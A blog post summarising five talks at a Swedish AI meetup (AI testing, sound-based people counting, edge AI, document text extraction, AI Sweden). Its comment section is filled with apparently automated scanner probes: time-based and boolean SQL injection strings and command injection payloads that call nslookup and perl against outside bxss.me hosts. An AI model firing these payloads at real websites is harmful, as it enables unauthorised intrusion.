Speakers Corner LIVE
The first fully live video event in the Barrel. Recorded and broadcasted by Joakim Jardenberg from Get AI. New times calls for new measures. Today we could offer 5 presentations from a variety of areas within machine learning. This was also our first physical event since the Corona outbreak, and in the middle of the summer. But the interest for tis format was so high that we already have speakers to fill another similar event later this year.
Markus Borg started out speaking about testing of AI applications and how they differ from testing regular applications. We are certainly curious to hear more as time goes and what becomes of his initiative AIQ Meta-Testbed.
Our second speaker, Isabella Gagner talked about her master's thesis focused on calculating the number of people in a room based on sound alone. Here we heard many lessons learned from struggling to collect training data and keeping the memory of the model at a minimum to be able to run it in the local device, on the edge...
... Edge AI was something that our third speaker David Fu had more to tell us about. Many aspects of compute need to be done in the edges, on small devices. Mainly for to reasons, the first being the latency issue of processing data in the cloud for real time system and second to ensure personal data does not end up on servers with the risk of conflicting with GDPR. Then we learned more about image recognition using the neural network YOLO.
In the last of the technical presentations Jacob Tyrberg presented his journey on extracting text information from old product specifications at Alfa Laval, to make it available and searchable in a database. This was a case with a surprisingly good result with a very simple model on a small sample of hand labelled data. And just so you know, as a machine learning expert you might end up hand labelling data by drawing bounding boxes for three days.
Finally Malin Larsson from AI Sweden shared how they work on trying to connect businesses with machine learning experts, to be an engine that build ecosystems that will accelerate innovation within AI in Sweden. To cross pollinate solutions from academia with partners from industry to be able to push the front line of AI technology and usage of these technologies within businesses and the public sector in Sweden.
See the entire video at https://youtu.be/sb2G0cj8SIs
-
Johan Broddfelt
sound recognition, image recognition, Edge AI, Text analysis, AI Sweden
Comment
Comments
97 posts foundeoUznfUi') OR 410=(SELECT 410 FROM PG_SLEEP(12))--
2026-06-08 20:31:23 - wUmrLVWz
iupS5p21' OR 629=(SELECT 629 FROM PG_SLEEP(12))--
2026-06-08 20:31:13 - wUmrLVWz
-1)) OR 467=(SELECT 467 FROM PG_SLEEP(12))--
2026-06-08 20:30:58 - wUmrLVWz
-5) OR 569=(SELECT 569 FROM PG_SLEEP(12))--
2026-06-08 20:30:46 - wUmrLVWz
-5 OR 608=(SELECT 608 FROM PG_SLEEP(12))--
2026-06-08 20:30:35 - wUmrLVWz
5wJzCbal'; waitfor delay '0:0:12' --
2026-06-08 20:30:20 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 20:30:02 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 20:29:46 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 20:29:30 - wUmrLVWz
;(nslookup hitwvpryydmpx6e647.bxss.me||perl -e "gethostbyname('hitwvpryydmpx6e647.bxss.me')")|(nslookup hitwvpryydmpx6e647.bxss.me||perl -e "gethostbyname('hitwvpryydmpx6e647.bxss.me')")&(nslookup hitwvpryydmpx6e647.bxss.me||perl -e "gethostbyname('hitwvpryydmpx6e647.bxss.me')")
2026-06-08 20:28:56 - wUmrLVWz
`(nslookup hitbhykbznufo8f23b.bxss.me||perl -e "gethostbyname('hitbhykbznufo8f23b.bxss.me')")`
2026-06-08 20:28:53 - wUmrLVWz
|(nslookup hitdqxccoxeovef0f2.bxss.me||perl -e "gethostbyname('hitdqxccoxeovef0f2.bxss.me')")
2026-06-08 20:28:48 - wUmrLVWz
&(nslookup hitbbuctvurtj63fe9.bxss.me||perl -e "gethostbyname('hitbbuctvurtj63fe9.bxss.me')")&'"`0&(nslookup hitbbuctvurtj63fe9.bxss.me||perl -e "gethostbyname('hitbbuctvurtj63fe9.bxss.me')")&`'
2026-06-08 20:28:45 - wUmrLVWz
$(nslookup hitgiffqevfdi4a48f.bxss.me||perl -e "gethostbyname('hitgiffqevfdi4a48f.bxss.me')")
2026-06-08 20:28:41 - wUmrLVWz
(nslookup hitfnbwybmzjd18716.bxss.me||perl -e "gethostbyname('hitfnbwybmzjd18716.bxss.me')")
2026-06-08 20:28:37 - wUmrLVWz
|echo nhzqts$() evsrrsnz^xyu||a #' |echo nhzqts$() evsrrsnz^xyu||a #|" |echo nhzqts$() evsrrsnz^xyu||a #
2026-06-08 20:28:32 - wUmrLVWz
&echo itjaga$() ynkbyenz^xyu||a #' &echo itjaga$() ynkbyenz^xyu||a #|" &echo itjaga$() ynkbyenz^xyu||a #
2026-06-08 20:28:30 - wUmrLVWz
-1" OR 3+47-47-1=0+0+0+1 --
2026-06-08 20:28:24 - wUmrLVWz
echo ceipmd$() byssvdnz^xyu||a #' &echo ceipmd$() byssvdnz^xyu||a #|" &echo ceipmd$() byssvdnz^xyu||a #
2026-06-08 20:28:23 - wUmrLVWz
-1" OR 2+47-47-1=0+0+0+1 --
2026-06-08 20:28:21 - wUmrLVWz
-1' OR 3+704-704-1=0+0+0+1 or 'y47G3L1K'='
2026-06-08 20:28:19 - wUmrLVWz
-1' OR 2+704-704-1=0+0+0+1 or 'y47G3L1K'='
2026-06-08 20:28:13 - wUmrLVWz
-1' OR 3+897-897-1=0+0+0+1 --
2026-06-08 20:28:08 - wUmrLVWz
-1' OR 2+897-897-1=0+0+0+1 --
2026-06-08 20:28:05 - wUmrLVWz
-1 OR 3+940-940-1=0+0+0+1
2026-06-08 20:28:02 - wUmrLVWz
-1 OR 2+940-940-1=0+0+0+1
2026-06-08 20:27:59 - wUmrLVWz
-1 OR 3+970-970-1=0+0+0+1 --
2026-06-08 20:27:57 - wUmrLVWz
-1 OR 2+970-970-1=0+0+0+1 --
2026-06-08 20:27:52 - wUmrLVWz
;(nslookup hitgknqntvlgbe1dc5.bxss.me||perl -e "gethostbyname('hitgknqntvlgbe1dc5.bxss.me')")|(nslookup hitgknqntvlgbe1dc5.bxss.me||perl -e "gethostbyname('hitgknqntvlgbe1dc5.bxss.me')")&(nslookup hitgknqntvlgbe1dc5.bxss.me||perl -e "gethostbyname('hitgknqntvlgbe1dc5.bxss.me')")
2026-06-08 18:42:31 - wUmrLVWz
`(nslookup hitrevdrrimke36730.bxss.me||perl -e "gethostbyname('hitrevdrrimke36730.bxss.me')")`
2026-06-08 18:42:29 - wUmrLVWz
|(nslookup hitxpkhznswlef7a21.bxss.me||perl -e "gethostbyname('hitxpkhznswlef7a21.bxss.me')")
2026-06-08 18:42:25 - wUmrLVWz
&(nslookup hitkstbtjugli1f15d.bxss.me||perl -e "gethostbyname('hitkstbtjugli1f15d.bxss.me')")&'"`0&(nslookup hitkstbtjugli1f15d.bxss.me||perl -e "gethostbyname('hitkstbtjugli1f15d.bxss.me')")&`'
2026-06-08 18:42:23 - wUmrLVWz
$(nslookup hitknhrrtcuwkfee04.bxss.me||perl -e "gethostbyname('hitknhrrtcuwkfee04.bxss.me')")
2026-06-08 18:42:18 - wUmrLVWz
(nslookup hitutrpmmwdsr31d88.bxss.me||perl -e "gethostbyname('hitutrpmmwdsr31d88.bxss.me')")
2026-06-08 18:42:17 - wUmrLVWz
|echo srvylh$() iwcdydnz^xyu||a #' |echo srvylh$() iwcdydnz^xyu||a #|" |echo srvylh$() iwcdydnz^xyu||a #
2026-06-08 18:42:15 - wUmrLVWz
&echo kkoqev$() amrsggnz^xyu||a #' &echo kkoqev$() amrsggnz^xyu||a #|" &echo kkoqev$() amrsggnz^xyu||a #
2026-06-08 18:42:13 - wUmrLVWz
echo mdrbeh$() vfsatnnz^xyu||a #' &echo mdrbeh$() vfsatnnz^xyu||a #|" &echo mdrbeh$() vfsatnnz^xyu||a #
2026-06-08 18:42:10 - wUmrLVWz
nSDJF5z2')) OR 889=(SELECT 889 FROM PG_SLEEP(12))--
2026-06-08 18:40:24 - wUmrLVWz
9xmjHrb7') OR 621=(SELECT 621 FROM PG_SLEEP(12))--
2026-06-08 18:40:22 - wUmrLVWz
YOwXjHQs' OR 661=(SELECT 661 FROM PG_SLEEP(12))--
2026-06-08 18:40:18 - wUmrLVWz
-1)) OR 475=(SELECT 475 FROM PG_SLEEP(12))--
2026-06-08 18:40:14 - wUmrLVWz
-5) OR 765=(SELECT 765 FROM PG_SLEEP(12))--
2026-06-08 18:40:10 - wUmrLVWz
-5 OR 932=(SELECT 932 FROM PG_SLEEP(12))--
2026-06-08 18:40:05 - wUmrLVWz
SLQQy5bO'; waitfor delay '0:0:12' --
2026-06-08 18:40:02 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 18:39:59 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 18:39:57 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 18:39:53 - wUmrLVWz
-1" OR 3+92-92-1=0+0+0+1 --
2026-06-08 18:39:40 - wUmrLVWz
-1" OR 2+92-92-1=0+0+0+1 --
2026-06-08 18:39:38 - wUmrLVWz
-1' OR 3+464-464-1=0+0+0+1 or 'bwDH2ACC'='
2026-06-08 18:39:31 - wUmrLVWz
-1' OR 2+464-464-1=0+0+0+1 or 'bwDH2ACC'='
2026-06-08 18:39:28 - wUmrLVWz
-1' OR 3+780-780-1=0+0+0+1 --
2026-06-08 18:39:25 - wUmrLVWz
-1' OR 2+780-780-1=0+0+0+1 --
2026-06-08 18:39:23 - wUmrLVWz
-1 OR 3+236-236-1=0+0+0+1
2026-06-08 18:39:18 - wUmrLVWz
-1 OR 2+236-236-1=0+0+0+1
2026-06-08 18:39:14 - wUmrLVWz
-1 OR 3+218-218-1=0+0+0+1 --
2026-06-08 18:39:11 - wUmrLVWz
-1 OR 2+218-218-1=0+0+0+1 --
2026-06-08 18:39:04 - wUmrLVWz
FijyOd0U')) OR 219=(SELECT 219 FROM PG_SLEEP(12))--
2026-06-08 17:04:52 - wUmrLVWz
0cBiUWJ5') OR 199=(SELECT 199 FROM PG_SLEEP(12))--
2026-06-08 17:04:50 - wUmrLVWz
mODYpQ6j' OR 515=(SELECT 515 FROM PG_SLEEP(12))--
2026-06-08 17:04:48 - wUmrLVWz
-1)) OR 849=(SELECT 849 FROM PG_SLEEP(12))--
2026-06-08 17:04:45 - wUmrLVWz
-5) OR 280=(SELECT 280 FROM PG_SLEEP(12))--
2026-06-08 17:04:42 - wUmrLVWz
-5 OR 720=(SELECT 720 FROM PG_SLEEP(12))--
2026-06-08 17:04:40 - wUmrLVWz
OOJHpp0A'; waitfor delay '0:0:12' --
2026-06-08 17:04:37 - wUmrLVWz
1 waitfor delay '0:0:12' --
2026-06-08 17:04:34 - wUmrLVWz
-1); waitfor delay '0:0:12' --
2026-06-08 17:04:30 - wUmrLVWz
-1; waitfor delay '0:0:12' --
2026-06-08 17:04:26 - wUmrLVWz
-1" OR 3*2>(0+5+115-115) --
2026-06-08 17:04:09 - wUmrLVWz
-1" OR 3*2<(0+5+115-115) --
2026-06-08 17:04:06 - wUmrLVWz
-1" OR 3+115-115-1=0+0+0+1 --
2026-06-08 17:04:03 - wUmrLVWz
-1" OR 2+115-115-1=0+0+0+1 --
2026-06-08 17:04:02 - wUmrLVWz
-1' OR 3*2>(0+5+684-684) or 'lqwEX1vz'='
2026-06-08 17:04:00 - wUmrLVWz
-1' OR 3*2<(0+5+684-684) or 'lqwEX1vz'='
2026-06-08 17:03:58 - wUmrLVWz
-1' OR 3+684-684-1=0+0+0+1 or 'lqwEX1vz'='
2026-06-08 17:03:56 - wUmrLVWz
-1' OR 2+684-684-1=0+0+0+1 or 'lqwEX1vz'='
2026-06-08 17:03:54 - wUmrLVWz
;(nslookup hitxojtwfnoho6dc95.bxss.me||perl -e "gethostbyname('hitxojtwfnoho6dc95.bxss.me')")|(nslookup hitxojtwfnoho6dc95.bxss.me||perl -e "gethostbyname('hitxojtwfnoho6dc95.bxss.me')")&(nslookup hitxojtwfnoho6dc95.bxss.me||perl -e "gethostbyname('hitxojtwfnoho6dc95.bxss.me')")
2026-06-08 17:03:54 - wUmrLVWz
-1' OR 3*2>(0+5+779-779) --
2026-06-08 17:03:53 - wUmrLVWz
`(nslookup hitaolfwaalhc76495.bxss.me||perl -e "gethostbyname('hitaolfwaalhc76495.bxss.me')")`
2026-06-08 17:03:52 - wUmrLVWz
|(nslookup hitbzlpstspfpa3eac.bxss.me||perl -e "gethostbyname('hitbzlpstspfpa3eac.bxss.me')")
2026-06-08 17:03:50 - wUmrLVWz
&(nslookup hithjnwmzafwe1ff95.bxss.me||perl -e "gethostbyname('hithjnwmzafwe1ff95.bxss.me')")&'"`0&(nslookup hithjnwmzafwe1ff95.bxss.me||perl -e "gethostbyname('hithjnwmzafwe1ff95.bxss.me')")&`'
2026-06-08 17:03:49 - wUmrLVWz
-1' OR 3*2<(0+5+779-779) --
2026-06-08 17:03:49 - wUmrLVWz
$(nslookup hiticcysygxzj182be.bxss.me||perl -e "gethostbyname('hiticcysygxzj182be.bxss.me')")
2026-06-08 17:03:48 - wUmrLVWz
(nslookup hitoogovdgnft315ca.bxss.me||perl -e "gethostbyname('hitoogovdgnft315ca.bxss.me')")
2026-06-08 17:03:47 - wUmrLVWz
-1' OR 3+779-779-1=0+0+0+1 --
2026-06-08 17:03:47 - wUmrLVWz
|echo bxgvgy$() lmetuqnz^xyu||a #' |echo bxgvgy$() lmetuqnz^xyu||a #|" |echo bxgvgy$() lmetuqnz^xyu||a #
2026-06-08 17:03:45 - wUmrLVWz
&echo addrqc$() tuozzgnz^xyu||a #' &echo addrqc$() tuozzgnz^xyu||a #|" &echo addrqc$() tuozzgnz^xyu||a #
2026-06-08 17:03:44 - wUmrLVWz
-1' OR 2+779-779-1=0+0+0+1 --
2026-06-08 17:03:42 - wUmrLVWz
echo pfoyzh$() nrgtcunz^xyu||a #' &echo pfoyzh$() nrgtcunz^xyu||a #|" &echo pfoyzh$() nrgtcunz^xyu||a #
2026-06-08 17:03:42 - wUmrLVWz
-1 OR 3*2>(0+5+764-764)
2026-06-08 17:03:41 - wUmrLVWz
-1 OR 3*2<(0+5+764-764)
2026-06-08 17:03:39 - wUmrLVWz
-1 OR 3+764-764-1=0+0+0+1
2026-06-08 17:03:36 - wUmrLVWz
-1 OR 2+764-764-1=0+0+0+1
2026-06-08 17:03:33 - wUmrLVWz
-1 OR 3*2>(0+5+500-500) --
2026-06-08 17:03:30 - wUmrLVWz
-1 OR 3*2<(0+5+500-500) --
2026-06-08 17:03:28 - wUmrLVWz
-1 OR 3+500-500-1=0+0+0+1 --
2026-06-08 17:03:27 - wUmrLVWz
-1 OR 2+500-500-1=0+0+0+1 --
2026-06-08 17:03:25 - wUmrLVWz
FqX0f07f')) OR 155=(SELECT 155 FROM PG_SLEEP(12))--
2026-06-08 20:31:35 - wUmrLVWz